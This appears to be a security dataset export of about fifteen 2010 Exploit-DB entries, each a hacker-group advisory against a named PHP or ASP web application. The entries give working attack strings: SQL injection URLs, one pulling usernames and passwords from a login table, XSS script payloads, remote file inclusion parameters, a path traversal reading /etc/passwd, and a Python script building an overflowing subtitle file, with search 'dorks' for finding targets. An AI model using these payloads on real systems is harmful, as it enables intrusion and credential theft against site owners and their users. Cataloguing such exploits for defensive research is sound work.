QLWD/code_shield huggingface dataset:
标题: Joomla! Component JE Ajax Event Calendar 1.0.5 - SQL Injection EDB-ID: 13997 CVE: 2010-4365 2010-2513 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-23 漏洞利用脚本: Exploit Title:Joomla JE Ajax event calendar SQL Vulnerable 
Version:1.0.5
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Published: 2010-06-23
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

100% MVC structure follow. There are three different managers in that
component:-

1. Category Management
2. Event Management
3. Event Setting

1. Category Management: - Admin can add, edit, delete, published and unpublished the category title and description.

2. Event Management: - Admin can add, edit, delete, published and unpublished the event. Event title, category, start date, end date, description, background color and text color add, edit and delete, published, unpublished from the event management.
Admin has rights that all users or selected user or none can see the event from front end.
Admin can add event to selected category.

3. Setting: - Admin can enable or disable all the events which user can add the event or not.
Admin can set the header1, header2, header3, header4 color using color picker.

Features:-

- Add event to particular category
- Set the calendar color using color picker.
- Admin has rights to add event from site side.
- Admin has rights that all users see the event or selected user can see the events.
- Front end side user can see the event description in light box by click on that event.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL :

http://server/component/jeeventcalendar/?view=[Sqli]

# 0day n0 m0re #
# L0rd CrusAd3r # URL: https://www.exploit-db.com/exploits/13997
标题: K-Search - SQL Injection / Cross-Site Scripting EDB-ID: 13993 CVE: 2010-2457 2005-3868 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-22 漏洞利用脚本: ####################################################
# Category: K-Search (SQL/XSS) Multiple Remote Vulnerabilities
# Download: http://turn-k.net/k-search/demo

# Dork: inurl:K-Search, Powered By K-Search
# Author: Sangteamtham [at] hcegroup[dot]net
# Homepage: HCE group - bug-z0ne.info
####################################################

Info:
K-Search provides you a quick and easy way to start your own meta-search
engine and earn money by displaying relevant sponsored results taken from
Pay Per Click feeds or your own sponsors.

Explain:
when you have Sponsors Area Account, then you can edit your site, delelet
your site...

---------------------------------------------------------------------------------------------
SQL Vulnerabilities:

Exploit:

http://localhost//index.php?req=edit&id=999999 And 1=0 UNION SELECT
1,2,group_concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8,9,10/*

---------------------------------------------------------------------------------------------
XSS Vulnerabilities:
$words = $wrds = preg_split('/[\W]+?/',$en['term']);
$misspelled = $return = array();

............
$msp = implode(' ',$words);
$msp = str_replace('</b></i> <i><b>',' ',$msp);
$que = implode(' ',$wrds);
$en['spell_corrected'] = '<a

Exploit:

http://localhost/index.php?term="><script>alert(String.fromCharCode(Your
charcode here))<%2Fscript>&sm=Search&source=1&req=search

---------------------------------------------------------------------------------------------
Many SQL here. Check and enjoy yourself URL: https://www.exploit-db.com/exploits/13993
标题: Boat Classifieds - SQL Injection EDB-ID: 13990 CVE: 2010-2688 2010-2687 类型: WEBAPPS 平台: ASP 发布日期: 2010-06-22 漏洞利用脚本: Boat Classifieds

####################################################
# Category: Boat Classifieds SQL Injection Vulnerability
# Download: http://www.site2nite.com/boat-webdesign.asp
# Author: Sangteamtham [at] hcegroup[dot]net
# Homepage: HCE group.net
####################################################


Exploit:

http://server/detail.asp?ID=999999 union select
1,2,3,4,5,username,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74
from tbllogin " having 1=1--

sangteamtham [at] hcegroup.net

Discovered on Fri, Jul 17, 2009 URL: https://www.exploit-db.com/exploits/13990
标题: Linker IMG 1.0 - Remote File Inclusion EDB-ID: 13964 CVE: 2010-2456 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-21 漏洞利用脚本: 1 ########################################## 1
0 I'm Sn!pEr.S!Te Hacker member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

# ------------------------------------------------------------
# Remote File Inclusion Vulnerability
# -----------------------------------------------------------

Linker IMG <==1.0 (index.php)

--------------------------------------------------------------
# [+] Author : Sn!pEr.S!Te Hacker
# [+] Email : Sniper-site@HoTmaiL.Com
# [+] Inj3ct0r Team Hacker #
# [+] 21-6-2010
# [+] Script : Image Galleries » Linker IMG
# [+] Version: [1.0]
# [+] Download:http://enproject.codelib.co.kr/down/linker_IMG.zip
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
-=[ exploit ]=-

http://server/Linker IMG/index.php?$lan_dir=[RFI]


http://server/Linker IMG/index.php?Sdb_type=[RFI]

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanks To All: www.Exploit-db.com | wwww.inj3ct0r.com | www.hack0wn.com

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

=========================| -=[ THE END]=- |========================= URL: https://www.exploit-db.com/exploits/13964
标题: Joomla! Component Picasa2Gallery 1.2.8 - Local File Inclusion EDB-ID: 13981 CVE: 2010-2507 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-22 漏洞利用脚本: [!]===========================================================================[!]

[~] Joomla Component Picasa2Gallery LFI vulnerability 
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 22 june, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.masselink.net
[+] Price : free
[+] Vulnerability : LFI
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://www.masselink.net/downloads/Software/Picasa2Gallery-1.2.8/
[+] Version : 1.2.8 or lower ;)

[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_picasa2gallery&controller=[INDONESIANCODER]

[ XpL ]

../../../../../../../../../../../../../../../etc/passwd%00


[ d3m0 ]

http://sever/index.php?option=com_picasa2gallery&controller=../../../../../../../../../../../../../../etc/passwd%00

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack MAGELANG CYBER ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW IH-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot,Jack-
[+] Contrex,YadoY666,bumble_be,MarahMeraH,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,vYcOd,ayy,otong,CS-31,yur4kh4,MISTERFRIBO,GENI212


[ NOTE ] 

[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM 
[+] Jika kami bersama Nyalakan Tanda Bahaya ;)
[+] Ayy : HappY birthday yak .. maap ketinggalan aha . . .
[+] MALANG ! kami datang ... ^^

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/13981
标题: Video Community portal - SQL Injection / Cross-Site Scripting EDB-ID: 13970 CVE: 2010-2459 2010-2458 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-22 漏洞利用脚本: 1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Video Community portal SQLi and XSS Vulnerable
Vendor url:http://www.2daybiz.com/
Version:1
Price:120$
Published: 2010-06-22
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, M4n0j, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team , Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

2daybiz Video Community portal is the ultimate solution for starting your video sharing and uploading community similar to YouTube, Daily Motion and Myspace Videos. This enterprise level video sharing software offers a powerful and rich featured solution. In this software members can upload videos, rate videos, tag videos, leave comments, edit uploaded videos, title and description set video as public/private, video play list, create channels, groups and favorite videos. 

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Vulnerability:

*SQLi Vulnerable

DEMO URL:

http://www.site.com/products/videocommunity/video.php?videoid=[sqli]

*XSS Vulnerable

Parameter:'"--><script>alert(0x000872)</script>

DEMO URL:

http://www.site.com/products/videocommunity/video.php?videoid=[xss]

# 0day n0 m0re #
# L0rd CrusAd3r # URL: https://www.exploit-db.com/exploits/13970
标题: Job Search Engine Script - SQL Injection EDB-ID: 13978 CVE: 2010-2609 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-22 漏洞利用脚本: 1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Job Search Engine Script SQL Injection
Vendor url:http://www.2daybiz.com/
Version:1
Price:250$
Published: 2010-06-22
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, M4n0j, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team , Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

2daybiz job search engine script eliminates your worry about searching for an employer. Our search engine software is an extensive and powerful script written in PHP that launches your own jobs search portal. Code: PHP 5.0 

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/jobsearchengine/show_search_result.php?keyword=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r # URL: https://www.exploit-db.com/exploits/13978
标题: Cornerstone CMS - SQL Injection EDB-ID: 13980 CVE: 2010-5287 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-22 漏洞利用脚本: # Exploit Title: Cornerstone CMS SQL Injection Vulnerability
# Date: 22-06-2010
# Author: Th3 RDX
# Software Link:
# Version: 1.0
# Tested on: Demo Site
# category: webapp
# Code :

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
L0v3 To: R00T, R45c4l, Agent: 1c3c0ld, Big Kid, Lucky(www.indishell.in)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Gr33tz to ### Team I.C.A | www.IndiShell.in | Team I.C.W ###
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

##############################################################################
%//

----- [ Founder ] -----

Th3 RDX

----- [ E - mail ] -----

th3rdx@gmail.com


%\\
##############################################################################

##############################################################################
%//

----- [Title] -----

Cornerstone CMS SQL Injection Vulnerability

----- [ Vendor ] -----

http://www.cs-tech.com/

%\\
##############################################################################

##############################################################################
%//

----- [ Exploit (s) ] -----

Put [CODE] = SQL Injection Code

{e.g = default.asp?id=60+and+1=0+ Union 2,3,4,5,6,7,8,9,10 (tables & column) }

[SQLi] http://server/cs-cms/default.asp?id=70[CODE]

[SQLi] http://server/cs-cms/default.asp?id=44[CODE]

%\\
##############################################################################

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Thanks To All: www.Exploit-db.com | wwww.inj3ct0r.com | www.hack0wn.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bug discovered : 22 June 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= URL: https://www.exploit-db.com/exploits/13980
标题: Subtitle Translation Wizard 3.0.0 - Overflow (SEH) (PoC) EDB-ID: 13965 CVE: 2010-2440 类型: DOS 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: #!/usr/bin/python

# Exploit Title: Subtitle Translation Wizard v3.0.0 SEH POC
# Date: Jun 21, 2010
# Author: Blake
# Software Link: http://www.upredsun.com/subtitle-translation/download/st-wizard-setup.exe
# Version: 3.0.0
# Tested on: Windows Vista running in VirtualBox

# SEH is overwritten but only unicode compatible pop pop ret addresses are in st-wizard.exe (SafeSEH).

print "\n======================================"
print " Subtitle Translation Wizard v3.0.0 DoS "
print " Discovered by Blake "
print "======================================\n"

buffer = "\x41" * 10000

print "[+] Creating malicious srt file"
try:
     file = open("poc.srt","w")
     file.write("1\n" + "00:01:48,549 --> 00:01:50,404\n" + buffer)
     file.close()
     print "[+] File created"
except:
     print "[x] Could not create file"

raw_input("\nPress any key to exit...\n") URL: https://www.exploit-db.com/exploits/13965
标题: G.CMS Generator - SQL Injection EDB-ID: 13954 CVE: 2010-2438 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-21 漏洞利用脚本: 1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Gcms generator SQLi Vulnerability
Date : june, 21 2010
Critical Level  : HIGH
Vendor Url : http://www.laubrotel.com/gcms/demo/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
Gcms generator is a mini-site version CMS (content management).

With this tool, you can create an unlimited number of mini-site independent of each other, each mini-site has its own administration interface. For each site created a directory "site" is created, which allows you to point a domain name directly on the site
#######################################################################################################
Xploit: SQLi Vulnerability 

DEMO URL 
   http://server/?lang=[inject code]
###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/13954
标题: OroHYIP - SQL Injection EDB-ID: 13948 CVE: 2010-2462 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-20 漏洞利用脚本: 1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:OroHYIP SQL Vulnerable
Vendor url:http://www.tomacero.com/products.php
Version:1 
Price:95$
Published: 2010-06-21
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team
Shoutzz:- To all ICW members

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

OroHYIP will help anyone manage their employees or any other expenses a company may have. Features: -hourly payment programs -cutting edge RIA DHTML user interface -professional looking templates (with flash) Code: PHP 4.0 

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL:

http://server/withdraw_money.php?a=cancel&id=[sqli]



# 0day n0 m0re #
# L0rd CrusAd3r # URL: https://www.exploit-db.com/exploits/13948
标题: Shareasale Script - SQL Injection EDB-ID: 13949 CVE: 2010-2460 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-20 漏洞利用脚本: 1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Shareasale Script SQL Vulnerable 
Vendor url:http://www.jce-tech.com
Version:1 
Price:n/a
Published: 2010-06-21
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team
Shoutzz:- To all ICW members

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Shareasale Script is a PHP and MYSQL based script that can be used to import and display product data feeds from Shareasale.com. The script comes complete with a default template, a complete backend administration functionality, and much more. Code: PHP 4.0 

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/merchant_product_list.php?merchant_id=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r # URL: https://www.exploit-db.com/exploits/13949
标题: Overstock Script - SQL Injection EDB-ID: 13946 CVE: 2010-2461 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-20 漏洞利用脚本: 1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Overstock Script SQL Vulnerable 
Vendor url:http://www.jce-tech.com
Version:1 
Price:n/a
Published: 2010-06-21
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team
Shoutzz:- To all ICW members

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Overstock script is a PHP based script that can be used to display product data from the Overstock XML data feed. The script comes complete with a default template to get you started. It completely separates PHP logic and HTML look. Code: PHP 4.0 

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/storecat.php?store=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r # URL: https://www.exploit-db.com/exploits/13946
标题: iBoutique - 'page' SQL Injection / Cross-Site Scripting EDB-ID: 13945 CVE: 2010-5020 2010-0804 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-20 漏洞利用脚本: 1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:iBoutique SQL Vulnerable & XSS Vulnerability 
Vendor url:http://www.netartmedia.net/iboutique/
Version:4 
Price:299$
Published: 2010-06-21
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team
Shoutzz:- To all ICW members

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

iBoutique is a PHP ecommerce solution that allows you to setup and maintain your own estore. Features include simple user interface, easy product detail maintenance, shoping carts, template managing, statistic reporting, and much more. Code: PHP 4.0 

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/iboutique/index.php?page=[sqli]

*XSS Vulnerability

DEMO URL:

Parameter:'"--><script>alert(0x000872)</script>

http://server/iboutique/index.php?page=[xss]


# 0day n0 m0re #
# L0rd CrusAd3r # URL: https://www.exploit-db.com/exploits/13945